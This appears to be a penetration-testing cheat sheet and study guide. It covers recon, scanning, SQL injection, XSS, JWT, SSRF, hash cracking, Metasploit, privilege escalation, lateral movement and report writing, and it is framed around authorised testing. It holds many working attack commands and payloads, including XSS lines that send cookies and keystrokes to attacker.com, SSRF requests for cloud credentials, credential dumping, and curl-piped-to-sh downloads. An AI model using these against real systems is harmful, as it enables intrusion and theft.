1. Reconnaissance    → attacker learns about you
2. Weaponisation     → attacker builds/selects an exploit
3. Delivery          → exploit is sent (phishing, exposed port, etc.)
4. Exploitation      → vulnerability is triggered
5. Installation      → malware/backdoor is planted
6. C2 (Command & Control) → attacker maintains access
7. Actions on Objective    → data theft, ransomware, lateral move

Layer 7 — Application   → HTTP, DNS, SMTP (XSS, SQLi, SSRF live here)
Layer 6 — Presentation  → SSL/TLS (cert attacks, weak ciphers)
Layer 5 — Session       → session tokens, cookies (session hijack)
Layer 4 — Transport     → TCP/UDP, ports (port scanning, SYN flood)
Layer 3 — Network       → IP, routing (IP spoofing, ICMP attacks)
Layer 2 — Data Link     → MAC, ARP (ARP poisoning, MAC flooding)
Layer 1 — Physical      → cables, hardware (beyond most pentest scope)

- Authorised IP ranges and domains (exact list)
- Out-of-scope systems (e.g. third-party payment processor)
- Permitted techniques (e.g. "no DoS attacks", "no social engineering")
- Testing windows (e.g. "only 9pm–6am AEST")
- Emergency escalation contact (if you accidentally break something)
- Data handling (what to do if you find real PII or credentials)
- Reporting deadline and format

# Basic lookup — A record (IP), MX (mail), TXT (SPF, DKIM, verification tokens)
nslookup target.com
dig target.com ANY       # all record types
dig target.com MX        # mail servers (useful for phishing simulation)
dig target.com TXT       # often reveals cloud services in use

# Zone transfer — if the DNS server is misconfigured, dumps ALL records
# This is a critical misconfiguration — should always be disabled
dig axfr @ns1.target.com target.com

# Automated DNS enumeration with dnsx
dnsx -d target.com -a -cname -mx -txt -resp

# subfinder — queries passive sources (VirusTotal, Shodan, crt.sh, etc.)
subfinder -d target.com -all -o subdomains.txt

# amass — more aggressive, more sources
amass enum -passive -d target.com

# Certificate Transparency logs — every SSL cert ever issued is public
# This is one of the most reliable subdomain sources
curl "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# DNS brute force — tries common names (api, dev, mail, admin, staging...)
dnsx -d target.com -w /usr/share/wordlists/dns/subdomains-top1million.txt

# whatweb — identifies CMS, framework, server, plugins from HTTP response
whatweb https://target.com
whatweb -v https://target.com   # verbose, shows raw evidence

# curl headers — server version often leaked here
curl -I https://target.com
# Look for: Server, X-Powered-By, X-Generator headers

# Wappalyzer — browser extension, gives instant stack breakdown
# Identifies React, Angular, WordPress, Shopify, Cloudflare, etc.

# Find exposed environment files (contain API keys, DB passwords)
site:target.com filetype:env
site:target.com filetype:config
site:target.com filetype:xml inurl:config

# Find admin panels
site:target.com inurl:admin
site:target.com inurl:dashboard
site:target.com inurl:wp-admin

# Find directory listings (server misconfiguration)
site:target.com "index of /"
site:target.com "index of" inurl:backup

# Find login pages
site:target.com inurl:login
site:target.com inurl:signin

# Find exposed logs, backups, databases
site:target.com filetype:log
site:target.com filetype:sql
site:target.com filetype:bak

# theHarvester
theHarvester -d target.com -b google,linkedin,bing -l 500

# Shodan CLI
shodan search "hostname:target.com"
shodan search "org:\"Target Company\" port:22"

# Step 1 — Host discovery (is this host alive?)
nmap -sn 192.168.1.0/24        # ICMP ping sweep, no port scan
nmap -sn -PE 192.168.1.0/24    # ICMP echo only

# Step 2 — Fast scan (most common ports only)
nmap -T4 -F target.com          # Top 100 ports, fast timing

# Step 3 — Full comprehensive scan (use this in practice)
nmap -sV -sC -O -p- -T4 target.com -oA output/target_full
# -sV   probe open ports for service/version info
# -sC   run default NSE (Nmap Scripting Engine) scripts — checks for common vulns
# -O    OS fingerprinting
# -p-   scan ALL 65535 ports (not just top 1000)
# -T4   aggressive timing (T1=slow/stealthy, T5=fastest/noisy)
# -oA   save output in all 3 formats: .nmap .xml .gnmap

# Step 4 — Targeted script scans
nmap --script=http-headers,http-title target.com       # web server info
nmap --script=ssh-auth-methods target.com -p 22        # what SSH auth is allowed
nmap --script=ftp-anon target.com -p 21                # anonymous FTP check
nmap --script=smb-vuln-ms17-010 target.com -p 445     # EternalBlue check
nmap --script=vuln target.com                           # all vuln scripts (slow, noisy)
nmap --script=dns-zone-transfer target.com -p 53       # DNS zone transfer

PORT     STATE  SERVICE  VERSION
22/tcp   open   ssh      OpenSSH 7.6p1 Ubuntu
80/tcp   open   http     Apache httpd 2.4.29
443/tcp  open   ssl/http Apache httpd 2.4.29
3306/tcp open   mysql    MySQL 5.7.38

# Nikto — basic web scanner, checks for 6700+ known issues
# Checks: default files, dangerous HTTP methods, outdated headers, common vulns
nikto -h https://target.com
nikto -h https://target.com -ssl -port 443
nikto -h https://target.com -o nikto_output.txt -Format txt

# Nuclei — template-based scanner, best for CVE detection at scale
# Templates are community-maintained YAML files, each tests one specific thing
nuclei -u https://target.com -t cves/ -t exposures/ -t misconfiguration/
nuclei -u https://target.com -t cves/ -severity critical,high
nuclei -u https://target.com -t technologies/   # detect tech stack
nuclei -l urls.txt -t cves/                      # scan a list of targets

# Directory and file discovery — find hidden endpoints
# gobuster uses wordlists to try thousands of paths
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,json,txt
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster_output.txt

# ffuf — faster and more flexible fuzzer
ffuf -u https://target.com/FUZZ -w wordlist.txt               # path fuzzing
ffuf -u https://target.com/api/FUZZ -w api-endpoints.txt      # API endpoint discovery
ffuf -u https://target.com/page?id=FUZZ -w numbers.txt        # parameter fuzzing
ffuf -u https://target.com/ -H "Host: FUZZ.target.com" -w subdomains.txt  # vhost fuzzing

# feroxbuster — recursive discovery (follows found directories automatically)
feroxbuster -u https://target.com -w wordlist.txt --depth 3

Attack Vector (AV):     Network / Adjacent / Local / Physical
Attack Complexity (AC): Low / High
Privileges Required (PR): None / Low / High
User Interaction (UI):  None / Required
Scope (S):              Unchanged / Changed
Confidentiality (C):    None / Low / High
Integrity (I):          None / Low / High
Availability (A):       None / Low / High

1. Launch Burp Suite
2. Go to Proxy → Options → confirm listener on 127.0.0.1:8080
3. Configure browser to use proxy 127.0.0.1:8080
   (Use FoxyProxy extension for quick toggle)
4. Visit http://burpsuite in browser → download CA cert
5. Install CA cert in browser trust store (so HTTPS doesn't error)
6. Turn on Intercept → browse target → requests appear in Burp

1. Browse every endpoint in your app with Burp intercepting
2. Review all requests in HTTP History
3. Look for: JWTs in headers, session cookies, IDOR patterns in IDs
4. Send interesting requests to Repeater
5. Modify: change user IDs, remove auth headers, alter role parameters
6. Observe: does the server enforce access control?

'                          → syntax error means SQL is reflected
' OR 1=1--                 → bypass login (returns first row)
' OR '1'='1               → alternate bypass
admin'--                   → comment out password check
' UNION SELECT null--      → start UNION-based extraction

# Basic detection
sqlmap -u "https://target.com/product?id=1"

# Enumerate databases (when injection confirmed)
sqlmap -u "https://target.com/product?id=1" --dbs

# Enumerate tables in a database
sqlmap -u "https://target.com/product?id=1" -D target_db --tables

# Dump a specific table
sqlmap -u "https://target.com/product?id=1" -D target_db -T users --dump

# POST request injection (use Burp to copy the raw request)
sqlmap -r request.txt -p username --level 3 --risk 2

# Cookie-based injection
sqlmap -u "https://target.com/" --cookie="session=abc123; user=1" -p user

# Common flags:
# --level 1-5     how many payloads to try (default 1)
# --risk 1-3      how aggressive (3 may modify data)
# --dbs           enumerate databases
# --batch         no interactive prompts
# --random-agent  rotate user-agent to avoid detection

// Basic test — does JS execute?
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>

// Steal session cookie (send to attacker server)
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

// Keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>

# JWT structure: header.payload.signature (base64 encoded)
# Decode at jwt.io

# Attack 1: Algorithm confusion — change alg to "none"
# Forge a token with no signature required
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

# Attack 2: Weak secret brute force
hashcat -a 0 -m 16500 jwt_token.txt wordlist.txt

# Attack 3: RS256 to HS256 confusion
# If server uses RS256, try signing with public key as HS256 secret

# Collect 10+ session tokens, check for patterns
# Base64 decode them — are they sequential? Timestamp-based? Predictable?
echo "c2Vzc2lvbjoxMjM0NTY=" | base64 -d
# Output: session:123456 — predictable! Can enumerate other sessions

# HTTP POST login form brute force
hydra -L users.txt -P passwords.txt target.com \
  http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# SSH brute force
hydra -l admin -P passwords.txt ssh://target.com

# HTTP Basic Auth
hydra -L users.txt -P passwords.txt target.com http-get /admin/

# Common flags:
# -L  usernames list    -l  single username
# -P  passwords list    -p  single password
# -t  threads (default 16)
# -f  stop after first success

admin:admin
admin:password
admin:123456
root:root
root:toor
administrator:administrator
guest:guest

?url=
?redirect=
?next=
?image=
?fetch=
?src=
Webhook URLs, avatar URLs, PDF generators, link preview generators

# Cloud metadata — leaks IAM credentials in AWS, GCP, Azure
# AWS
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?url=http://169.254.169.254/latest/user-data

# GCP
?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure
?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01

# Internal network probing
?url=http://192.168.1.1/            # router
?url=http://localhost:8080/admin    # internal admin
?url=http://10.0.0.5:6379/         # internal Redis

# Protocol abuse
?url=file:///etc/passwd            # local file read
?url=dict://localhost:6379/info    # Redis info via DICT protocol

hashid hash.txt
hash-identifier "5f4dcc3b5aa765d61d8327deb882cf99"  # MD5 = "password"

# -m flag specifies hash type
# -a flag specifies attack mode (0=wordlist, 3=brute force, 6=hybrid)

# MD5
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA1
hashcat -m 100 hashes.txt rockyou.txt

# bcrypt (slow by design — use targeted wordlists)
hashcat -m 3200 hashes.txt rockyou.txt

# NTLM (Windows)
hashcat -m 1000 hashes.txt rockyou.txt

# WPA2 (WiFi)
hashcat -m 2500 handshake.hccapx rockyou.txt

# Rule-based attack (mutates wordlist: adds numbers, capitalises, etc.)
hashcat -m 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force all 6-char alphanumeric
hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a

rockyou.txt                                    # 14M common passwords
SecLists/Passwords/                            # collection of specialised lists
/usr/share/wordlists/                          # Kali default location
cewl https://target.com -w custom.txt          # generate wordlist from target website

msfconsole                          # launch
search apache 2.4.49                # find exploits for a version
search type:exploit cve:2021-44228  # search by CVE
use exploit/multi/http/log4shell_header_injection

# Once a module is selected:
show options                        # see required parameters
set RHOSTS target.com               # set target
set RPORT 8080                      # set target port
set LHOST attacker.com              # your IP (for reverse shell)
run                                 # execute

# Common post-exploitation modules
use post/linux/gather/hashdump      # dump /etc/shadow
use post/multi/recon/local_exploit_suggester  # find privesc paths

# --- Manual checks ---

# Who am I? What groups?
id
whoami
groups

# What can I run as sudo WITHOUT a password?
sudo -l
# Look for: (ALL) NOPASSWD: /usr/bin/python3  → instant root

# SUID binaries — run as the file owner (often root) regardless of who executes
find / -perm -4000 -type f 2>/dev/null
# Any SUID binary on GTFOBins.github.io? → instant root exploit

# World-writable scripts run by root cron job?
cat /etc/crontab
ls -la /etc/cron.*
# If /opt/backup.sh is run by root and writable by you → add reverse shell

# Sensitive files
cat /etc/passwd          # user list
cat /etc/shadow          # password hashes (readable only by root — if you can read this, you are root)
find / -name "*.conf" 2>/dev/null | xargs grep -l "password"
find / -name ".env" 2>/dev/null

# Kernel version — check for local privilege escalation exploits
uname -a
cat /etc/os-release

# Network — what other hosts are reachable from here?
ip a
ip route
cat /etc/hosts
ss -tulnp         # open ports on this machine

# --- Automated ---
# LinPEAS — most comprehensive, checks hundreds of vectors
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Linux Exploit Suggester
./linux-exploit-suggester.sh

# Who am I?
whoami
whoami /priv          # token privileges — SeImpersonatePrivilege? → JuicyPotato/PrintSpoofer
net user              # list users
net localgroup administrators

# Services with weak permissions
sc query             # list services
accesschk.exe -uwcqv * /accepteula  # find modifiable services

# Unquoted service paths (common Windows misconfiguration)
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"

# AlwaysInstallElevated (install MSI as SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Credentials in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Automated
.\winpeas.exe
.\PowerUp.ps1
Invoke-AllChecks     # PowerUp function — finds all privesc paths

# CrackMapExec — Swiss army knife for Windows network lateral movement
crackmapexec smb 192.168.1.0/24 -u admin -H ntlm_hash   # pass-the-hash
crackmapexec smb 192.168.1.0/24 -u admin -p password --shares  # enumerate shares
crackmapexec ssh 192.168.1.0/24 -u admin -p password    # spray credentials over SSH

# Impacket suite — Python tools for Windows protocols
python3 secretsdump.py domain/user:pass@target   # dump hashes remotely
python3 psexec.py domain/user:pass@target        # remote shell via SMB
python3 wmiexec.py domain/user:pass@target       # shell via WMI (stealthier)

Title:          [Concise, specific name — e.g. "SQL Injection in /api/v1/users endpoint"]
Severity:       Critical | High | Medium | Low | Informational
CVSS Score:     9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWE:            CWE-89 — Improper Neutralisation of Special Elements in SQL Command
Affected Asset: https://target.com/api/v1/users?id=

Description:
  The `id` parameter in the user lookup endpoint is passed directly to a SQL query
  without sanitisation. An attacker can manipulate the query to return arbitrary
  database rows, enumerate schemas, or execute system commands.

Steps to Reproduce:
  1. Navigate to https://target.com/api/v1/users?id=1
  2. Modify the request to: ?id=1' OR 1=1--
  3. Observe: all user records returned in response

Evidence:
  [Screenshot of response with all user records]
  [Burp Suite request/response dump]
  curl -s "https://target.com/api/v1/users?id=1' OR 1=1--"

Impact:
  An unauthenticated attacker can read the entire users table, including
  password hashes and PII. On MSSQL, xp_cmdshell could enable OS-level RCE.
  This constitutes a full confidentiality breach under ASD Essential Eight
  and likely triggers GDPR/Privacy Act notification obligations.

Remediation:
  Use parameterised queries / prepared statements. Never concatenate
  user input into SQL strings.

  // Vulnerable
  query = "SELECT * FROM users WHERE id = " + request.params.id

  // Fixed
  query = "SELECT * FROM users WHERE id = ?"
  db.execute(query, [request.params.id])

References:
  https://owasp.org/www-community/attacks/SQL_Injection
  https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html

1. Cover Page
   - Client name, tester name/company, test dates, document classification

2. Executive Summary (1 page, non-technical)
   - What was tested
   - Overall risk rating
   - Number of findings by severity
   - Top 3 highest-risk findings in plain language
   - Strategic recommendations

3. Scope and Methodology
   - Systems in scope (IPs, domains, environments)
   - Out-of-scope items
   - Test type (black/grey/white box)
   - Testing window
   - Tools used

4. Summary of Findings
   - Table: Finding name | Severity | Affected Asset | Status (Open/Closed)

5. Detailed Findings (one section per finding, using template above)
   - Sorted by severity: Critical → High → Medium → Low → Informational

6. Appendix
   - Raw tool output (nmap, nuclei, nikto scans)
   - Full request/response dumps from Burp
   - Additional screenshots

wafw00f https://target.com     # identifies WAF vendor
# Common: Cloudflare, AWS WAF, Akamai, Imperva, F5

# WAF bypass techniques:
# Encoding: URL encode the payload
' OR 1=1--  →  %27%20OR%201%3D1--

# Case variation (some WAFs are case-sensitive)
<ScRiPt>alert(1)</ScRiPt>

# Unicode/HTML encoding
&#x27; OR &#x31;=&#x31;--

# Whitespace substitution
SELECT/**/username/**/FROM/**/users

# Check if CSP is set
curl -I https://target.com | grep -i content-security-policy

# Weak CSP indicators:
Content-Security-Policy: default-src *           # wildcard — useless
Content-Security-Policy: script-src 'unsafe-inline'  # allows inline scripts — XSS possible
# No CSP header at all — XSS fully exploitable

# Check all security headers at once
curl -I https://target.com
# Or use: https://securityheaders.com

# testssl.sh — comprehensive TLS analysis
./testssl.sh https://target.com

# What to look for:
# ✗ SSLv2, SSLv3, TLS 1.0, TLS 1.1 — deprecated, must be disabled
# ✗ Weak ciphers: RC4, DES, 3DES, NULL ciphers
# ✗ BEAST, POODLE, HEARTBLEED, ROBOT vulnerabilities
# ✓ TLS 1.2 minimum, TLS 1.3 preferred
# ✓ Forward secrecy (ECDHE cipher suites)

# Install SecLists
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists

# Key lists:
/usr/share/seclists/Discovery/Web-Content/common.txt          # common paths
/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million.txt  # subdomain brute force
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt    # passwords
/usr/share/seclists/Fuzzing/SQLi/                             # SQLi payloads
/usr/share/seclists/Fuzzing/XSS/                              # XSS payloads
/usr/share/seclists/Usernames/top-usernames-shortlist.txt     # common usernames

User-agent: *
Disallow: /private-folder/

<meta name="robots" content="noindex, nofollow" />

add_header X-Robots-Tag "noindex, nofollow";

Header set X-Robots-Tag "noindex, nofollow"

Month 1 — Web App Foundations
  └── PortSwigger Web Academy (all free labs)
       ├── SQL Injection
       ├── XSS
       ├── CSRF
       ├── SSRF
       ├── XXE
       └── Access Control / IDOR

Month 2 — Tools and Hands-On
  └── TryHackMe — "Jr Penetration Tester" learning path
  └── Set up DVWA locally (Docker: docker run --rm -it -p 80:80 vulnerables/web-dvwa)
  └── Install Burp Suite, work through all DVWA modules with it

Month 3 — Real Machines
  └── HackTheBox (starting point machines: "very easy" tier)
  └── VulnHub downloadable VMs

Month 4 — API Security
  └── OWASP crAPI (vulnerable API practice environment)
  └── Portswigger API testing labs
  └── Test your own application's API

Ongoing
  └── Follow: @PortSwigger, @OWASP, @hackthebox_eu on Twitter/X
  └── Read: "The Web Application Hacker's Handbook" (Stuttard)
  └── Read: "Hacking: The Art of Exploitation" (Erickson)

# Full nmap scan and save
nmap -sV -sC -p- -T4 target.com -oA nmap_full

# Quick web recon
whatweb target.com && nikto -h target.com && gobuster dir -u target.com -w common.txt

# Find subdomains
subfinder -d target.com | dnsx -silent | httpx -silent > live_subdomains.txt

# Scan live subdomains for CVEs
nuclei -l live_subdomains.txt -t cves/ -severity critical,high

# Extract all links from a site
katana -u https://target.com -o links.txt

# Check security headers
curl -I https://target.com 2>/dev/null | grep -iE "(strict|content-security|x-frame|x-content)"

# SQLi test on a parameter
sqlmap -u "https://target.com/?id=1" --batch --dbs

# Find SUID binaries (Linux privesc)
find / -perm -4000 -type f 2>/dev/null

# Check sudo permissions
sudo -l 2>/dev/null

Reconnaissance
  [ ] Subdomain enumeration
  [ ] Tech stack fingerprinting
  [ ] Google dorks for exposed files/panels
  [ ] Shodan/Censys for infrastructure

Scanning
  [ ] Nmap full port scan
  [ ] Nikto + Nuclei scan
  [ ] Directory/endpoint bruteforce
  [ ] Spider site with Burp / katana

Authentication
  [ ] Default credentials tried
  [ ] Username enumeration (different error messages)
  [ ] Password policy / lockout tested
  [ ] MFA bypass (token reuse, null value, 000000)
  [ ] JWT algorithm confusion / weak secret

Authorisation
  [ ] IDOR (change IDs in every request)
  [ ] Horizontal privilege escalation (access other users' data)
  [ ] Vertical privilege escalation (access admin functions as user)
  [ ] Unauthenticated access to authenticated endpoints

Injection
  [ ] SQL injection on all parameters
  [ ] XSS on all input fields
  [ ] XXE in XML requests
  [ ] SSTI in template-like inputs
  [ ] Command injection on system-like functions
  [ ] SSRF on URL parameters

Session Management
  [ ] Session token entropy (is it random?)
  [ ] Session invalidated on logout?
  [ ] Session fixation possible?
  [ ] CSRF on state-changing actions?

Sensitive Data
  [ ] HTTPS enforced everywhere?
  [ ] Security headers present?
  [ ] Sensitive data in URLs (logs capture these)
  [ ] Sensitive data in JavaScript source / comments?
  [ ] API keys or secrets in client-side code?

Misconfiguration
  [ ] Directory listing enabled?
  [ ] Debug mode / verbose errors?
  [ ] Unnecessary HTTP methods (PUT, DELETE, TRACE)?
  [ ] Outdated components (check against CVEs)?
  [ ] Backup files accessible (.bak, .old, .zip)?